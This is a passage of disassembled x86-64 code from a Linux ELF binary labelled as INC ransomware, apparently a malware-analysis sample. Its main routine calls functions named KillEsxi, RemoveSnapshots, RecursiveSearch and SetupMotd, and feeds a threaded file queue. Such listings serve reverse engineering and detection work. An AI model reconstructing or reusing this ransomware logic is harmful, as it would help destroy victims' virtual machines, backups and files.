File inc_ransom_e16ac4475e24bbe97e50d7940df71079ea2f1dfd1f2bff6a649c09f7503d087c.elf
Function:
    004012c0
    004012c0waitpid@plt:
    004012c0jmp [rip+0x20f602]
    004012c6push 28
    004012cbjmp 0x4010f0
    004012c0
    004012d0
    004012d0fread@plt:
    004012d0jmp [rip+0x20f5fa]
    004012d6push 29
    004012dbjmp 0x4010f0
    004012d0
    004012e0
    004012e0__errno_location@plt:
    004012e0jmp [rip+0x20f5f2]
    004012e6push 30
    004012ebjmp 0x4010f0
    004012e0
    004012f0
    004012f0strcmp@plt:
    004012f0jmp [rip+0x20f5ea]
    004012f6push 31
    004012fbjmp 0x4010f0
    004012f0
    00401300
    00401300strcpy@plt:
    00401300jmp [rip+0x20f5e2]
    00401306push 32
    0040130bjmp 0x4010f0
    00401300
    00401310
    00401310strtok@plt:
    00401310jmp [rip+0x20f5da]
    00401316push 33
    0040131bjmp 0x4010f0
    00401310
    00401320
    00401320nanosleep@plt:
    00401320jmp [rip+0x20f5d2]
    00401326push 34
    0040132bjmp 0x4010f0
    00401320
    00401330
    00401330pthread_cond_wait@plt:
    00401330jmp [rip+0x20f5ca]
    00401336push 35
    0040133bjmp 0x4010f0
    00401330
    00401340
    00401340calloc@plt:
    00401340jmp [rip+0x20f5c2]
    00401346push 36
    0040134bjmp 0x4010f0
    00401340
    00401350
    00401350fclose@plt:
    00401350jmp [rip+0x20f5ba]
    00401356push 37
    0040135bjmp 0x4010f0
    00401350
    00401360
    00401360remove@plt:
    00401360jmp [rip+0x20f5b2]
    00401366push 38
    0040136bjmp 0x4010f0
    00401360
    00401370
    00401370__lxstat@plt:
    00401370jmp [rip+0x20f5aa]
    00401376push 39
    0040137bjmp 0x4010f0
    00401370
    00401380
    00401380fseeko@plt:
    00401380jmp [rip+0x20f5a2]
    00401386push 40
    0040138bjmp 0x4010f0
    00401380
    00401390
    00401390closedir@plt:
    00401390jmp [rip+0x20f59a]
    00401396push 41
    0040139bjmp 0x4010f0
    00401390
    004013a0
    004013a0fork@plt:
    004013a0jmp [rip+0x20f592]
    004013a6push 42
    004013abjmp 0x4010f0
    004013a0
    004013b0
    004013b0fwrite@plt:
    004013b0jmp [rip+0x20f58a]
    004013b6push 43
    004013bbjmp 0x4010f0
    004013b0
    004013c0
    004013c0pthread_mutex_lock@plt:
    004013c0jmp [rip+0x20f582]
    004013c6push 44
    004013cbjmp 0x4010f0
    004013c0
    004013d0
    004013d0perror@plt:
    004013d0jmp [rip+0x20f57a]
    004013d6push 45
    004013dbjmp 0x4010f0
    004013d0
    004013e0
    004013e0pthread_mutex_destroy@plt:
    004013e0jmp [rip+0x20f572]
    004013e6push 46
    004013ebjmp 0x4010f0
    004013e0
    004013f0
    004013f0pthread_cond_broadcast@plt:
    004013f0jmp [rip+0x20f56a]
    004013f6push 47
    004013fbjmp 0x4010f0
    004013f0
    00401400
    00401400pthread_mutex_unlock@plt:
    00401400jmp [rip+0x20f562]
    00401406push 48
    0040140bjmp 0x4010f0
    00401400
    00401410
    00401410umask@plt:
    00401410jmp [rip+0x20f55a]
    00401416push 49
    0040141bjmp 0x4010f0
    00401410
    00401420
    00401420open@plt:
    00401420jmp [rip+0x20f552]
    00401426push 50
    0040142bjmp 0x4010f0
    00401420
    00401430
    00401430rename@plt:
    00401430jmp [rip+0x20f54a]
    00401436push 51
    0040143bjmp 0x4010f0
    00401430
    00401440
    00401440_start:
    00401440xor ebp, ebp
    00401442mov r9, rdx
    00401445pop rsi
    00401446mov rdx, rsp
    00401449and rsp, -16
    0040144dpush rax
    0040144epush rsp
    0040144fmov r8, 0x40d840
    00401456mov rcx, 0x40d850
    0040145dmov rdi, 0x401524
    00401464call __libc_start_main@plt
    00401469hlt
    00401440
    0040146a
    0040146a 90 90 ..
    0040146c
    0040146cfn_40146c:
    0040146csub rsp, 8
    00401470mov rax, [rip+0x20f351]
    00401477test rax, rax
    0040147aje 0x40147e
    0040147ccall rax
    0040147e
    0040147eloc_40147e:
    0040147eadd rsp, 8
    00401482ret
    0040146c
    00401483
    00401483 // align 0x10
    00401490
    00401490__do_global_dtors_aux:
    00401490push rbp
    00401491mov rbp, rsp
    00401494push rbx
    00401495sub rsp, 8
    00401499cmp [rip+0x20f520], 0
    004014a0jne 0x4014ed
    004014a2mov ebx, 0x610618
    004014a7mov rax, [rip+0x20f51a]
    004014aesub rbx, 0x610610
    004014b5sar rbx, 3
    004014b9sub rbx, 1
    004014bdcmp rax, rbx
    004014c0jae 0x4014e6
    004014c2nop [rax+rax]
    004014c8
    004014c8loc_4014c8:
    004014c8add rax, 1
    004014ccmov [rip+0x20f4f5], rax
    004014d3call [8*rax+0x610610]
    004014damov rax, [rip+0x20f4e7]
    004014e1cmp rax, rbx
    004014e4jb 0x4014c8
    004014e6
    004014e6loc_4014e6:
    004014e6mov [rip+0x20f4d3], 1
    004014ed
    004014edloc_4014ed:
    004014edadd rsp, 8
    004014f1pop rbx
    004014f2pop rbp
    004014f3ret
    00401490
    004014f4
    004014f4 // align 0x10
    00401500
    00401500frame_dummy:
    00401500cmp [rip+0x20f118], 0
    00401500
    00401508
    00401508 55 48 89 e5 74 12 b8 00 UH..t...
    00401510 00 00 00 48 85 c0 74 08 5d bf 20 06 61 00 ff e0 ...H..t.]. .a...
    00401520 5d c3 90 90 ]...
    00401524
    00401524main:
    00401524push rbp
    00401525mov rbp, rsp
    00401528sub rsp, 32
    0040152cmov [rbp-20], edi
    0040152fmov [rbp-32], rsi
    00401533mov rdx, [rbp-32]
    00401537mov eax, [rbp-20]
    0040153amov rsi, rdx
    0040153dmov edi, eax
    0040153fcall ParseArgs
    00401544mov eax, [rip+0x20f4aa]
    0040154atest eax, eax
    0040154cjne 0x401566
    0040154emov rax, [rip+0x20f493]
    00401555test rax, rax
    00401558jne 0x401581
    0040155amov rax, [rip+0x20f477]
    00401561test rax, rax
    00401564jne 0x401581
    00401566
    00401566loc_401566:
    00401566mov rdx, [rbp-32]
    0040156amov eax, [rbp-20]
    0040156dmov rsi, rdx
    00401570mov edi, eax
    00401572call PrintHelp
    00401577mov eax, 0
    0040157cjmp 0x401704
    00401581
    00401581loc_401581:
    00401581mov eax, [rip+0x20f449]
    00401587test eax, eax
    00401589je 0x401595
    0040158bmov eax, 0
    00401590call PrintArgs
    00401595
    00401595loc_401595:
    00401595mov eax, [rip+0x20f465]
    0040159btest eax, eax
    0040159dje 0x4015a9
    0040159fmov eax, 0
    004015a4call ForkProcess
    004015a9
    004015a9loc_4015a9:
    004015a9mov eax, [rip+0x20f44d]
    004015aftest eax, eax
    004015b1je 0x4015e3
    004015b3mov [rbp-4], 0
    004015bajmp 0x4015ca
    004015bc
    004015bcloc_4015bc:
    004015bcmov edi, 1000
    004015c1call Sleep
    004015c6add [rbp-4], 1
    004015ca
    004015caloc_4015ca:
    004015camov eax, [rip+0x20f42c]
    004015d0shl eax, 2
    004015d3mov edx, eax
    004015d5shl edx, 4
    004015d8mov ecx, edx
    004015dasub ecx, eax
    004015dcmov eax, ecx
    004015decmp eax, [rbp-4]
    004015e1jg 0x4015bc
    004015e3
    004015e3loc_4015e3:
    004015e3mov eax, 0
    004015e8call PrepareThreads
    004015edmov eax, 0
    004015f2call DecodeStrings
    004015f7mov eax, [rip+0x20f3fb]
    004015fdtest eax, eax
    004015ffje 0x401615
    00401601mov eax, 0
    00401606call KillEsxi
    0040160bmov eax, 0
    00401610call RemoveSnapshots
    00401615
    00401615loc_401615:
    00401615mov rax, [rip+0x20f3cc]
    0040161ctest rax, rax
    0040161fje 0x401692
    00401621mov [rbp-8], 0
    00401628jmp 0x401683
    0040162a
    0040162aloc_40162a:
    0040162amov eax, [rip+0x20f3a0]
    00401630test eax, eax
    00401632je 0x401660
    00401634mov rax, [rip+0x20f3ad]
    0040163bmov edx, [rbp-8]
    0040163emovsxd rdx, edx
    00401641shl rdx, 3
    00401645add rax, rdx
    00401648mov rdx, [rax]
    0040164bmov eax, 0x40d944
    00401650mov rsi, rdx
    00401653mov rdi, rax
    00401656mov eax, 0
    0040165bcall printf@plt
    00401660
    00401660loc_401660:
    00401660mov rax, [rip+0x20f381]
    00401667mov edx, [rbp-8]
    0040166amovsxd rdx, edx
    0040166dshl rdx, 3
    00401671add rax, rdx
    00401674mov rax, [rax]
    00401677mov rdi, rax
    0040167acall RecursiveSearch
    0040167fadd [rbp-8], 1
    00401683
    00401683loc_401683:
    00401683mov edx, [rbp-8]
    00401686mov eax, [rip+0x20f364]
    0040168ccmp edx, eax
    0040168ejb 0x40162a
    00401690jmp 0x4016e1
    00401692
    00401692loc_401692:
    00401692mov rax, [rip+0x20f33f]
    00401699test rax, rax
    0040169cje 0x4016e1
    0040169emov [rbp-12], 0
    004016a5jmp 0x4016d4
    004016a7
    004016a7loc_4016a7:
    004016a7mov rax, [rip+0x20f32a]
    004016aemov edx, [rbp-12]
    004016b1movsxd rdx, edx
    004016b4shl rdx, 3
    004016b8add rax, rdx
    004016bbmov rdx, [rax]
    004016bemov rax, [rip+0x20f343]
    004016c5mov rsi, rdx
    004016c8mov rdi, rax
    004016cbcall queue_put_wait
    004016d0add [rbp-12], 1
    004016d4
    004016d4loc_4016d4:
    004016d4mov edx, [rbp-12]
    004016d7mov eax, [rip+0x20f303]
    004016ddcmp edx, eax
    004016dfjb 0x4016a7
    004016e1
    004016e1loc_4016e1:
    004016e1mov eax, [rip+0x20f31d]
    004016e7test eax, eax
    004016e9je 0x4016f5
    004016ebmov eax, 0
    004016f0call SetupMotd
    004016f5
    004016f5loc_4016f5:
    004016f5mov eax, 0
    004016facall WaitForThreads
    004016ffmov eax, 0
    00401704
    00401704loc_401704:
    00401704leave
    00401705ret
    00401524
    00401706
    00401706 90 90 ..
    00401708
    00401708queue_lock_internal:
    00401708push rbp
    00401709mov rbp, rsp
    0040170csub rsp, 16
    00401710mov [rbp-8], rdi
    00401714cmp [rbp-8], 0
    00401719jne 0x401722
    0040171bmov eax, -1
    00401720jmp 0x401742
    00401722
    00401722loc_401722:
    00401722mov rax, [rbp-8]
    00401726mov rax, [rax+32]
    0040172amov rdi, rax
    0040172dcall pthread_mutex_lock@plt
    00401732test eax, eax
    00401734je 0x40173d
    00401736mov eax, -2
    0040173bjmp 0x401742
    0040173d
    0040173dloc_40173d:
    0040173dmov eax, 0
    00401742
    00401742loc_401742:
    00401742leave
    00401743ret
    00401708
    00401744
    00401744queue_unlock_internal:
    00401744push rbp
    00401745mov rbp, rsp
    00401748sub rsp, 16
    0040174cmov [rbp-8], rdi
    00401750cmp [rbp-8], 0
    00401755jne 0x40175e
    00401757mov eax, -1
    0040175cjmp 0x40177e
    0040175e
    0040175eloc_40175e:
    0040175emov rax, [rbp-8]
    00401762mov rax, [rax+32]
    00401766mov rdi, rax
    00401769call pthread_mutex_unlock@plt
    0040176etest eax, eax
    00401770je 0x401779
    00401772mov eax, -2
    00401777jmp 0x40177e
    00401779
    00401779loc_401779:
    00401779mov eax, 0
    0040177e
    0040177eloc_40177e:
    0040177eleave
    0040177fret
    00401744
    00401780
    00401780queue_destroy_internal:
    00401780push rbp
    00401781mov rbp, rsp
    00401784sub rsp, 48
    00401788mov [rbp-24], rdi
    0040178cmov eax, esi
    0040178emov [rbp-40], rdx
    00401792mov [rbp-28], al
    00401795mov [rbp-4], 0
    0040179cmov rax, [rbp-24]
    004017a0mov esi, 0
    004017a5mov rdi, rax
    004017a8call queue_set_new_data
    004017admovsx eax, al
    004017b0mov [rbp-4], eax
    004017b3mov rax, [rbp-24]
    004017b7mov rdi, rax
    004017bacall queue_lock_internal
    004017bfmovsx eax, al
    004017c2mov [rbp-4], eax
    004017c5movzx ecx, [rbp-28]
    004017c9mov rdx, [rbp-40]
    004017cdmov rax, [rbp-24]
    004017d1mov esi, ecx
    004017d3mov rdi, rax
    004017d6call queue_flush_internal
    004017dbmovsx eax, al
    004017demov [rbp-4], eax
    004017e1mov rax, [rbp-24]
    004017e5mov rax, [rax+40]
    004017e9mov rdi, rax
    004017eccall pthread_cond_destroy@plt
    004017f1mov [rbp-4], eax
    004017f4mov rax, [rbp-24]
    004017f8mov rax, [rax+40]
    004017fcmov rdi, rax
    004017ffcall free@plt
    00401804mov rax, [rbp-24]
    00401808mov rax, [rax+48]
    0040180cmov rdi, rax
    0040180fcall pthread_cond_destroy@plt
    00401814mov [rbp-4], eax
    00401817mov rax, [rbp-24]
    0040181bmov rax, [rax+48]
    0040181fmov rdi, rax
    00401822call free@plt
    00401827mov rax, [rbp-24]
    0040182bmov rdi, rax
    0040182ecall queue_unlock_internal
    00401833movsx eax, al
    00401836mov [rbp-4], eax
    00401839jmp 0x401845
    0040183b
    0040183bloc_40183b:
    0040183bmov edi, 0x186a0
    00401840call usleep@plt
    00401845
    00401845loc_401845:
    00401845mov rax, [rbp-24]
    00401849mov rax, [rax+32]
    0040184dmov rdi, rax
    00401850call pthread_mutex_destroy@plt
    00401855mov [rbp-4], eax
    00401858cmp [rbp-4], 16
    0040185cje 0x40183b
    0040185emov rax, [rbp-24]
    00401862mov rax, [rax+32]
    00401866mov rdi, rax
    00401869call free@plt
    0040186emov rax, [rbp-24]
    00401872mov rdi, rax
    00401875call free@plt
    0040187amov eax, [rbp-4]
    0040187dleave
    0040187eret
    00401780
    0040187f
    0040187fqueue_flush_internal:
    0040187fpush rbp
    00401880mov rbp, rsp
    00401883sub rsp, 48
    00401887mov [rbp-24], rdi
    0040188bmov eax, esi
    0040188dmov [rbp-40], rdx
    00401891mov [rbp-28], al
    00401894cmp [rbp-24], 0
    00401899jne 0x4018a5
    0040189bmov eax, -1
    004018a0jmp 0x401942
    004018a5
    004018a5loc_4018a5:
    004018a5mov rax, [rbp-24]
    004018a9mov rax, [rax]
    004018acmov [rbp-8], rax
    004018b0mov [rbp-16], 0
    004018b8jmp 0x401915
    004018ba
    004018baloc_4018ba:
    004018bamov rax, [rbp-8]
    004018bemov rax, [rax+8]
    004018c2mov [rbp-16], rax
    004018c6cmp [rbp-28], 0
    004018caje 0x4018e4
    004018cccmp [rbp-40], 0
    004018d1jne 0x4018e4
    004018d3mov rax, [rbp-8]
    004018d7mov rax, [rax]
    004018damov rdi, rax
    004018ddcall free@plt
    004018e2jmp 0x401901
    004018e4
    004018e4loc_4018e4:
    004018e4cmp [rbp-28], 0
    004018e8je 0x401901
    004018eacmp [rbp-40], 0
    004018efje 0x401901
    004018f1mov rax, [rbp-8]
    004018f5mov rax, [rax]
    004018f8mov rdx, [rbp-40]
    004018fcmov rdi, rax
    004018ffcall rdx
    00401901
    00401901loc_401901:
    00401901mov rax, [rbp-8]
    00401905mov rdi, rax
    00401908call free@plt
    0040190dmov rax, [rbp-16]
    00401911mov [rbp-8], rax
    00401915
    00401915loc_401915:
    00401915cmp [rbp-8], 0
    0040191ajne 0x4018ba
    0040191cmov rax, [rbp-24]
    00401920mov [rax], 0
    00401927mov rax, [rbp-24]
    0040192bmov [rax+8], 0
    00401933mov rax, [rbp-24]
    00401937mov [rax+16], 0
    0040193dmov eax, 0
    00401942
    00401942loc_401942:
    00401942leave
    00401943ret
    0040187f
    00401944
    00401944queue_put_internal:
    00401944push rbp
    00401945mov rbp, rsp
    00401948sub rsp, 64
    0040194cmov [rbp-40], rdi
    00401950mov [rbp-48], rsi
    00401954mov [rbp-56], rdx
    00401958cmp [rbp-40], 0
    0040195djne 0x401969
    0040195fmov eax, -1
    00401964jmp 0x401cb1
    00401969
    00401969loc_401969:
    00401969mov rax, [rbp-40]
    0040196dmovzx eax, [rax+20]
    00401971test al, al
    00401973jne 0x40197f
    00401975mov eax, -4
    0040197ajmp 0x401cb1
    0040197f
    0040197floc_40197f:
    0040197fmov rax, [rbp-40]
    00401983movzx eax, [rax+16]
    00401987cmp ax, -2
    0040198bje 0x4019b7
    0040198dmov rax, [rbp-40]
    00401991movzx eax, [rax+18]
    00401995test ax, ax
    00401998je 0x401a39
    0040199emov rax, [rbp-40]
    004019a2movzx edx, [rax+16]
    004019a6mov rax, [rbp-40]
    004019aamovzx eax, [rax+18]
    004019aecmp dx, ax
    004019b1jne 0x401a39
    004019b7
    004019b7loc_4019b7:
    004019b7cmp [rbp-56], 0
    004019bcjne 0x4019e6
    004019bemov eax, -7
    004019c3jmp 0x401cb1
    004019c8
    004019c8loc_4019c8:
    004019c8mov rax, [rbp-40]
    004019ccmov rdx, [rax+32]
    004019d0mov rax, [rbp-40]
    004019d4mov rax, [rax+48]
    004019d8mov rcx, [rbp-56]
    004019dcmov rsi, rdx
    004019dfmov rdi, rax
    004019e2call rcx
    004019e4jmp 0x4019e7
    004019e6
    004019e6loc_4019e6:
    004019e6nop
    004019e7
    004019e7loc_4019e7:
    004019e7mov rax, [rbp-40]
    004019ebmovzx eax, [rax+16]
    004019efcmp ax, -2
    004019f3je 0x401a17
    004019f5mov rax, [rbp-40]
    004019f9movzx eax, [rax+18]
    004019fdtest ax, ax
    00401a00je 0x401a23
    00401a02mov rax, [rbp-40]
    00401a06movzx edx, [rax+16]
    00401a0amov rax, [rbp-40]
    00401a0emovzx eax, [rax+18]
    00401a12cmp dx, ax
    00401a15jne 0x401a23
    00401a17
    00401a17loc_401a17:
    00401a17mov rax, [rbp-40]
    00401a1bmovzx eax, [rax+20]
    00401a1ftest al, al
    00401a21jne 0x4019c8
    00401a23
    00401a23loc_401a23:
    00401a23mov rax, [rbp-40]
    00401a27movzx eax, [rax+20]
    00401a2btest al, al
    00401a2djne 0x401a39
    00401a2fmov eax, -4
    00401a34jmp 0x401cb1
    00401a39
    00401a39loc_401a39:
    00401a39mov edi, 16
    00401a3ecall malloc@plt
    00401a43mov [rbp-24], rax
    00401a47cmp [rbp-24], 0
    00401a4cjne 0x401a58
    00401a4emov eax, -3
    00401a53jmp 0x401cb1
    00401a58
    00401a58loc_401a58:
    00401a58mov rax, [rbp-24]
    00401a5cmov rdx, [rbp-48]
    00401a60mov [rax], rdx
    00401a63mov rax, [rbp-24]
    00401a67mov [rax+8], 0
    00401a6fmov rax, [rbp-40]
    00401a73movzx eax, [rax+21]
    00401a77test al, al
    00401a79je 0x401a87
    00401a7bmov rax, [rbp-40]
    00401a7fmov rax, [rax]
    00401a82test rax, rax
    00401a85jne 0x401ac2
    00401a87
    00401a87loc_401a87:
    00401a87mov rax, [rbp-40]
    00401a8bmov rax, [rax+8]
    00401a8ftest rax, rax
    00401a92jne 0x401aa1
    00401a94mov rax, [rbp-40]
    00401a98mov rdx, [rbp-24]
    00401a9cmov [rax], rdx
    00401a9fjmp 0x401ab1
    00401aa1
    00401aa1loc_401aa1:
    00401aa1mov rax, [rbp-40]
    00401aa5mov rax, [rax+8]
    00401aa9mov rdx, [rbp-24]
    00401aadmov [rax+8], rdx
    00401ab1
    00401ab1loc_401ab1:
    00401ab1mov rax, [rbp-40]
    00401ab5mov rdx, [rbp-24]
    00401ab9mov [rax+8], rdx
    00401abdjmp 0x401c89
    00401ac2
    00401ac2loc_401ac2:
    00401ac2mov rax, [rbp-40]
    00401ac6mov rax, [rax]
    00401ac9mov [rbp-8], rax
    00401acdmov [rbp-16], 0
    00401ad5mov rax, [rbp-40]
    00401ad9movzx eax, [rax+22]
    00401addtest al, al
    00401adfje 0x401b07
    00401ae1mov rax, [rbp-40]
    00401ae5mov rcx, [rax+24]
    00401ae9mov rax, [rbp-8]
    00401aedmov rax, [rax]
    00401af0mov rdx, [rbp-48]
    00401af4mov rsi, rdx
    00401af7mov rdi, rax
    00401afacall rcx
    00401afctest eax, eax
    00401afejs 0x401b07
    00401b00mov eax, 1
    00401b05jmp 0x401b0c
    00401b07
    00401b07loc_401b07:
    00401b07mov eax, 0
    00401b0c
    00401b0cloc_401b0c:
    00401b0cmov [rbp-28], eax
    00401b0fmov rax, [rbp-40]
    00401b13movzx eax, [rax+22]
    00401b17test al, al
    00401b19jne 0x401b41
    00401b1bmov rax, [rbp-40]
    00401b1fmov rcx, [rax+24]
    00401b23mov rax, [rbp-8]
    00401b27mov rax, [rax]
    00401b2amov rdx, [rbp-48]
    00401b2emov rsi, rdx
    00401b31mov rdi, rax
    00401b34call rcx
    00401b36test eax, eax
    00401b38jg 0x401b41
    00401b3amov eax, 1
    00401b3fjmp 0x401b46
    00401b41
    00401b41loc_401b41:
    00401b41mov eax, 0
    00401b46
    00401b46loc_401b46:
    00401b46mov [rbp-32], eax
    00401b49cmp [rbp-28], 0
    00401b4djne 0x401c63
    00401b53cmp [rbp-32], 0
    00401b57jne 0x401c63
    00401b5dmov rax, [rbp-40]
    00401b61mov rax, [rax]
    00401b64mov [rbp-8], rax
    00401b68mov rax, [rbp-8]
    00401b6cmov rax, [rax+8]
    00401b70mov [rbp-16], rax
    00401b74jmp 0x401c21
    00401b79
    00401b79loc_401b79:
    00401b79mov rax, [rbp-40]
    00401b7dmovzx eax, [rax+22]
    00401b81test al, al
    00401b83je 0x401bc3
    00401b85mov rax, [rbp-40]
    00401b89mov rcx, [rax+24]
    00401b8dmov rax, [rbp-8]
    00401b91mov rax, [rax]
    00401b94mov rdx, [rbp-48]
    00401b98mov rsi, rdx
    00401b9bmov rdi, rax
    00401b9ecall rcx
    00401ba0test eax, eax
    00401ba2jg 0x401bc3
    00401ba4mov rax, [rbp-40]
    00401ba8mov rcx, [rax+24]
    00401bacmov rax, [rbp-16]
    00401bb0mov rdx, [rax]
    00401bb3mov rax, [rbp-48]
    00401bb7mov rsi, rdx
    00401bbamov rdi, rax
    00401bbdcall rcx
    00401bbftest eax, eax
    00401bc1jle 0x401c36
    00401bc3
    00401bc3loc_401bc3:
    00401bc3mov rax, [rbp-40]
    00401bc7movzx eax, [rax+22]
    00401bcbtest al, al
    00401bcdjne 0x401c0d
    00401bcfmov rax, [rbp-40]
    00401bd3mov rcx, [rax+24]
    00401bd7mov rax, [rbp-8]
    00401bdbmov rax, [rax]
    00401bdemov rdx, [rbp-48]
    00401be2mov rsi, rdx
    00401be5mov rdi, rax
    00401be8call rcx
    00401beatest eax, eax
    00401becjs 0x401c0d
    00401beemov rax, [rbp-40]
    00401bf2mov rcx, [rax+24]
    00401bf6mov rax, [rbp-16]
    00401bfamov rdx, [rax]
    00401bfdmov rax, [rbp-48]
    00401c01mov rsi, rdx
    00401c04mov rdi, rax
    00401c07call rcx
    00401c09test eax, eax
    00401c0bjns 0x401c35
    00401c0d
    00401c0dloc_401c0d:
    00401c0dmov rax, [rbp-16]
    00401c11mov [rbp-8], rax
    00401c15mov rax, [rbp-16]
    00401c19mov rax, [rax+8]
    00401c1dmov [rbp-16], rax
    00401c21
    00401c21loc_401c21:
    00401c21cmp [rbp-8], 0
    00401c26je 0x401c36
    00401c28cmp [rbp-16], 0
    00401c2djne 0x401b79
    00401c33jmp 0x401c36
    00401c35
    00401c35loc_401c35:
    00401c35nop
    00401c36
    00401c36loc_401c36:
    00401c36mov rax, [rbp-8]
    00401c3amov rdx, [rbp-24]
    00401c3emov [rax+8], rdx
    00401c42mov rax, [rbp-24]
    00401c46mov rdx, [rbp-16]
    00401c4amov [rax+8], rdx
    00401c4ecmp [rbp-16], 0
    00401c53jne 0x401c89
    00401c55mov rax, [rbp-40]
    00401c59mov rdx, [rbp-24]
    00401c5dmov [rax+8], rdx
    00401c61jmp 0x401c89
    00401c63
    00401c63loc_401c63:
    00401c63cmp [rbp-28], 0
    00401c67jne 0x401c6f
    00401c69cmp [rbp-32], 0
    00401c6dje 0x401c89
    00401c6f
    00401c6floc_401c6f:
    00401c6fmov rax, [rbp-40]
    00401c73mov rdx, [rax]
    00401c76mov rax, [rbp-24]
    00401c7amov [rax+8], rdx
    00401c7emov rax, [rbp-40]
    00401c82mov rdx, [rbp-24]
    00401c86mov [rax], rdx
    00401c89
    00401c89loc_401c89:
    00401c89mov rax, [rbp-40]
    00401c8dmovzx eax, [rax+16]
    00401c91lea edx, [rax+1]
    00401c94mov rax, [rbp-40]
    00401c98mov [rax+16], dx
    00401c9cmov rax, [rbp-40]
    00401ca0mov rax, [rax+40]
    00401ca4mov rdi, rax
    00401ca7call pthread_cond_signal@plt
    00401cacmov eax, 0
    00401cb1
    00401cb1loc_401cb1:
    00401cb1leave
    00401cb2ret
    00401944
    00401cb3
    00401cb3queue_get_internal:
    00401cb3push rbp
    00401cb4mov rbp, rsp
    00401cb7sub rsp, 64
    00401cbbmov [rbp-24], rdi
    00401cbfmov [rbp-32], rsi
    00401cc3mov [rbp-40], rdx
    00401cc7mov [rbp-48], rcx
    00401ccbmov [rbp-56], r8
    00401ccfcmp [rbp-24], 0
    00401cd4jne 0x401ceb
    00401cd6mov rax, [rbp-32]
    00401cdamov [rax], 0
    00401ce1mov eax, -1
    00401ce6jmp 0x401e96
    00401ceb
    00401cebloc_401ceb:
    00401cebmov rax, [rbp-24]
    00401cefmovzx eax, [rax+16]
    00401cf3test ax, ax
    00401cf6jne 0x401d6f
    00401cf8cmp [rbp-40], 0
    00401cfdjne 0x401d32
    00401cffmov rax, [rbp-32]
    00401d03mov [rax], 0
    00401d0amov eax, -7
    00401d0fjmp 0x401e96
    00401d14
    00401d14loc_401d14:
    00401d14mov rax, [rbp-24]
    00401d18mov rdx, [rax+32]
    00401d1cmov rax, [rbp-24]
    00401d20mov rax, [rax+40]
    00401d24mov rcx, [rbp-40]
    00401d28mov rsi, rdx
    00401d2bmov rdi, rax
    00401d2ecall rcx
    00401d30jmp 0x401d33
    00401d32
    00401d32loc_401d32:
    00401d32nop
    00401d33
    00401d33loc_401d33:
    00401d33mov rax, [rbp-24]
    00401d37movzx eax, [rax+16]
    00401d3btest ax, ax
    00401d3ejne 0x401d4c
    00401d40mov rax, [rbp-24]
    00401d44movzx eax, [rax+20]
    00401d48test al, al
    00401d4ajne 0x401d14
    00401d4c
    00401d4cloc_401d4c:
    00401d4cmov rax, [rbp-24]
    00401d50movzx eax, [rax+16]
    00401d54test ax, ax
    00401d57jne 0x401d6f
    00401d59mov rax, [rbp-24]
    00401d5dmovzx eax, [rax+20]
    00401d61test al, al
    00401d63jne 0x401d6f
    00401d65mov eax, -4
    00401d6ajmp 0x401e96
    00401d6f
    00401d6floc_401d6f:
    00401d6fmov [rbp-8], 0
    00401d77mov rax, [rbp-24]
    00401d7bmov rax, [rax]
    00401d7emov [rbp-16], rax
    00401d82jmp 0x401d98
    00401d84
    00401d84loc_401d84:
    00401d84mov rax, [rbp-16]
    00401d88mov [rbp-8], rax
    00401d8cmov rax, [rbp-16]
    00401d90mov rax, [rax+8]
    00401d94mov [rbp-16], rax
    00401d98
    00401d98loc_401d98:
    00401d98cmp [rbp-48], 0
    00401d9dje 0x401dbe
    00401d9fcmp [rbp-16], 0
    00401da4je 0x401dbe
    00401da6mov rdx, [rbp-56]
    00401daamov rax, [rbp-16]
    00401daemov rcx, [rbp-48]
    00401db2mov rsi, rdx
    00401db5mov rdi, rax
    00401db8call rcx
    00401dbatest eax, eax
    00401dbcjne 0x401d84
    00401dbe
    00401dbeloc_401dbe:
    00401dbecmp [rbp-16], 0
    00401dc3je 0x401e22
    00401dc5cmp [rbp-8], 0
    00401dcajne 0x401e22
    00401dccmov rax, [rbp-16]
    00401dd0mov rdx, [rax+8]
    00401dd4mov rax, [rbp-24]
    00401dd8mov [rax], rdx
    00401ddbmov rax, [rbp-24]
    00401ddfmov rax, [rax]
    00401de2test rax, rax
    00401de5jne 0x401df3
    00401de7mov rax, [rbp-24]
    00401debmov [rax+8], 0
    00401df3
    00401df3loc_401df3:
    00401df3mov rax, [rbp-24]
    00401df7movzx eax, [rax+16]
    00401dfblea edx, [rax-1]
    00401dfemov rax, [rbp-24]
    00401e02mov [rax+16], dx
    00401e06mov rax, [rbp-16]
    00401e0amov rdx, [rax]
    00401e0dmov rax, [rbp-32]
    00401e11mov [rax], rdx
    00401e14mov rax, [rbp-16]
    00401e18mov rdi, rax
    00401e1bcall free@plt
    00401e20jmp 0x401e81
    00401e22
    00401e22loc_401e22:
    00401e22cmp [rbp-16], 0
    00401e27je 0x401e6f
    00401e29cmp [rbp-8], 0
    00401e2eje 0x401e6f
    00401e30mov rax, [rbp-16]
    00401e34mov rdx, [rax+8]
    00401e38mov rax, [rbp-8]
    00401e3cmov [rax+8], rdx
    00401e40mov rax, [rbp-24]
    00401e44movzx eax, [rax+16]
    00401e48lea edx, [rax-1]
    00401e4bmov rax, [rbp-24]
    00401e4fmov [rax+16], dx
    00401e53mov rax, [rbp-16]
    00401e57mov rdx, [rax]
    00401e5amov rax, [rbp-32]
    00401e5emov [rax], rdx
    00401e61mov rax, [rbp-16]
    00401e65mov rdi, rax
    00401e68call free@plt
    00401e6djmp 0x401e81
    00401e6f
    00401e6floc_401e6f:
    00401e6fmov rax, [rbp-32]
    00401e73mov [rax], 0
    00401e7amov eax, -5
    00401e7fjmp 0x401e96
    00401e81
    00401e81loc_401e81:
    00401e81mov rax, [rbp-24]
    00401e85mov rax, [rax+48]
    00401e89mov rdi, rax
    00401e8ccall pthread_cond_signal@plt
    00401e91mov eax, 0
    00401e96
    00401e96loc_401e96:
    00401e96leave
    00401e97ret
    00401cb3
    00401e98
    00401e98queue_create:
    00401e98push rbp
    00401e99mov rbp, rsp
    00401e9csub rsp, 16
    00401ea0mov edi, 56
    00401ea5call malloc@plt
    00401eaamov [rbp-8], rax
    00401eaecmp [rbp-8], 0
    00401eb3je 0x40204c
    00401eb9mov edi, 40
    00401ebecall malloc@plt
    00401ec3mov rdx, rax
    00401ec6mov rax, [rbp-8]
    00401ecamov [rax+32], rdx
    00401ecemov rax, [rbp-8]
    00401ed2mov rax, [rax+32]
    00401ed6test rax, rax
    00401ed9jne 0x401ef1
    00401edbmov rax, [rbp-8]
    00401edfmov rdi, rax
    00401ee2call free@plt
    00401ee7mov eax, 0
    00401eecjmp 0x402050
    00401ef1
    00401ef1loc_401ef1:
